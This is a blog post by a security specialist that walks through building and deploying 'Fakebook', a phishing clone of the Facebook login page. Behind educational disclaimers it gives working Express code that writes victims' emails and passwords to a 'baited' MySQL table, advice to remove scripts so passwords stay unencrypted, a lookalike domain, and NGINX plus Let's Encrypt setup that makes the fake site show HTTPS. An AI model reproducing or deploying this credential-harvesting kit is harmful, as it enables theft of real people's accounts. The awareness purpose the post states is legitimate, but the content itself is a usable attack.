Social Engineering: Going On The Attack

Roman Tolstosheyev
7 min readJan 21, 2024

--

This article is intended solely for educational purposes, aiming to raise awareness about cybersecurity and social engineering tactics. It does not endorse or encourage any form of illegal activity. The scenarios and methods described are for informational use only and should not be misused; any illegal activities should be reported to the appropriate authorities.

Following the investigation in my previous article, I will attempt to recreate a phishing page for educational purposes. This endeavor won’t be as sophisticated as the example discussed earlier, and I won’t delve into complexities like integrating payment systems (e.g., Stripe). However, the project has educational merit.

Idea

Talking about the pattern discussed previously, we need an environment that appears safe and familiar to users. For this, I will use a simulated version of the Facebook login page, a globally popular social network. We’ll call this simulation ‘Fakebook.’ The premise is simple: a user is led to re-enter their credentials because their browser has seemingly forgotten them. This common occurrence makes the scenario plausible without causing undue alarm.

Ok, that’s good, we know the desired state of the webpage that we need to craft. What to do next? We need to plan how the credentials will be delivered to us (hackers). For that, we can just blindly send all the data from the login form to our database on the backend. As a stub, the user will see the error page with the login error screen.

Programming

To bring this educational concept to life through programming, I’ll use JavaScript and the Express framework, which offer a straightforward approach to crafting a basic full-stack web application simulation. For our database engine, MySQL could be used, or even a simple text file for demonstration (cue the jokes about using Excel as a database). Let’s delve into the code structure for this educational project.

At the beginning, our structure will look like this:

├── app.js - appserver with whole business logic  
└── views
└── index.ejs - crafted login page

Node packages we need:

const express = require('express'); // Express web server framework 
const mysql = require('mysql2'); // MySQL database client
const bodyParser = require('body-parser'); // Node.js body parsing middleware

To simulate the login page, one approach is to study the structure of an existing page. For instance, examining the source code of https://www.facebook.com/login (which can be accessed in Google Chrome by pressing CTRL+U or right-click -> View Page Source) can provide insights. Remember, this is purely for educational and preventative purposes and should not be replicated for malicious intent.

CTRL+C, CTRL+V, and our index.ejs file for this educational simulation is nearly set.

Now, let’s initialize our Express application:

const app = express(); 
app.set('view engine', 'ejs');
app.use(bodyParser.urlencoded({ extended: false }));

.. and we just need to specify required endpoint in our app.js:

app.get('/', function (req, res) {
res.render('index', { message: '', result: [] });
});

app.listen(3000, function () {
console.log('Listening on port 3000');
});

Then, we need to test it. Just run our application and look for the behavior of the app… And we are done.

The next step in our educational demonstration is to configure the ‘Log In’ button so that it sends a request to our server with the credentials entered.

In our index.ejs, we’ll locate the relevant line:

<form id="login_form" 
action="/login/device-based/regular/login/?login_attempt=1&amp;lwv=100" method="post" <form id="login_form"
action="/login/device-based/regular/login/?login_attempt=1&amp;lwv=100" method="post" .
...

We’ll modify the action attribute to simply “/” and then add this endpoint to app.js to handle the request:

app.post('/', function (req, res) {
const password = req.body.pass;
const email = req.body.email;
const sql = 'INSERT INTO baited (email, password) VALUES (?, ?)';
connection.query(sql, [email, password]);
res.render('index', { message: 'Login Error!', result: [] });
});

Also, we have to init the database tables:

create database if not exists `hacker-db`;
use `hacker-db`

create table if not exists baited (
email varchar(255),
password varchar(255)
);

To complete the experience and make our error login message appear, we can integrate message handling in index.ejs. For added realism in this demonstration, we might even use some standard stylesheets from the Facebook page:

<% if (message.length> 1) { %> 

<div class="_9ay7">

<%= message %>

</div>

<% } %>

Also, it would be better to remove all script-tags from the login page to prevent the password to be encrypted (Stack Overflow question about this).

By the way, I also used the easiest way to have a database — running it from a Docker container. Just install the Docker engine and run:

docker run -d --name mysql -p 3306:3306 -e MYSQL_ROOT_PASSWORD=12345678

… your connectivity settings in app.js:

const connection = mysql.createConnection({
host: 'localhost',
user: 'root',
database: 'hacker-db',
password: '12345678',
port: 3306
});

Let’s test with some test@gmai.com as an email and 1234 as a password and we get our error message:

.. and the entry in DB (output is done by using mysql utility in the same container):

Deployment

Now that our login form simulation is ready, the next step in this educational process is deployment. Deploying it to a hosting service with a static IP address makes the simulation more realistic, as using something like http://localhost:3000 doesn’t quite have the same effect. However, it’s important to note that using an IP address directly isn’t as convincing as providing a URL that resembles Facebook’s, complete with HTTPS security (as illustrated in the real case from my previous article).

Considering hosting options, there are no specific limitations. You can choose any hosting provider or use your own resources, like a personal computer, if you have a static IP address from your ISP.

For this demonstration, I’m using a Virtual Dedicated Server (VDS) as my hosting. After moving my code to this virtual machine, it would be prudent to set up NGINX to run the application on port 80. This can be done by configuring the /etc/nginx/sites_available/fakebook.conf file.

server {
server_name fakebook;
listen 80;
location / {
proxy_pass http://127.0.0.1:3000/;
}
}

When it comes to selecting a domain for our educational phishing simulation, we can utilize services like FreeDNS to illustrate how a convincing domain name might be chosen by attackers. For example, a name like fakebook.h4ck.me could be considered for this demonstration. This step is crucial in understanding how cybercriminals might create domain names that appear legitimate or similar to well-known sites, in order to deceive users.

Now, let’s address a common myth in our educational demonstration: the belief that all websites with a “lock” icon in the address bar are secure and trustworthy. Through this demonstration, we’ll show how, thanks to services like Let’s Encrypt, SSL/TLS certificates, which contribute to the lock icon appearance, are accessible to everyone — including malicious actors.

First, we need to obtain certificates from Let’s Encrypt. Certbot is a useful tool for this, and there’s a user-friendly guide available on their official website. For the sake of transparency in this educational setup, I’ll generate the certificates using only the following command:

sudo certbot certonly –nginx 

Following this, I’ll manually add the necessary configuration to my fakebook.conf:

server { 
server_name fakebook;
listen 443 ssl;
ssl_certificate /etc/letsencrypt/live/fakebook.h4ck.me/fullchain.pem;
ssl_certificate_key /etc/letsencrypt/live/fakebook.h4ck.me/privkey.pem;
location / {
proxy_pass http://127.0.0.1:3000/;
}
}

Voilà. We can bypass the simplest firewall rules and people’s mindsets. Our new link is https://fakebook.h4ck.me/.

It is important to reiterate that this example, and the use of any such domain, is strictly for the purpose of this educational demonstration. Creating or using such domains for any real phishing or fraudulent activities is illegal and unethical. The intent here is to provide insight into the tactics used by cybercriminals, thereby enhancing awareness and the ability to recognize such threats in real-world scenarios.

Conclusion

As demonstrated, creating a basic phishing page is not overly complicated. However, it’s important to note that the example discussed is simplified and intended solely for learning purposes. It might be used in controlled environments like red teaming exercises within a company (very cheap ones), or for purely educational demonstrations, but its capabilities are limited.

For those interested in exploring more sophisticated methods, tools like ZPhisher can offer deeper insights. However, the quality and security setup of our example application is basic by design, as the aim was not to create a fully operational site. Enhancing security for such educational projects might be a topic for the future.

Through this demonstration, I wanted to emphasize two key points:

  • Skepticism is Crucial: Don’t automatically trust what you see online. Phishing web pages can be deceptively alluring, prompting you to enter sensitive information. Always check and think twice before doing so.
  • The Power of Knowledge: Basic programming and system administration skills can open many doors in the cyber world. I urge you to use this knowledge responsibly and ethically. Choosing the dark side has serious consequences.

The entire project, for educational use, is available on my GitHub:

https://github.com/IZOBRETATEL777/Fakebook

However, it’s important to remember that this demonstration is designed solely for educational purposes. It aims to provide insights into the methods used by attackers, thereby empowering users to better protect themselves. The knowledge gained here should be used to enhance cybersecurity awareness and practices, not for any unethical or illegal activities.

See you! Stay cyber safe!

P.S.: Excellent response of the cloud provider after several minutes I deployed the server. Therefore, do not repeat at home.

--

--

Roman Tolstosheyev

Application Security specialist and Cyber Security passionate. Java Web Developer and Certified Specialist in Cloud Computing.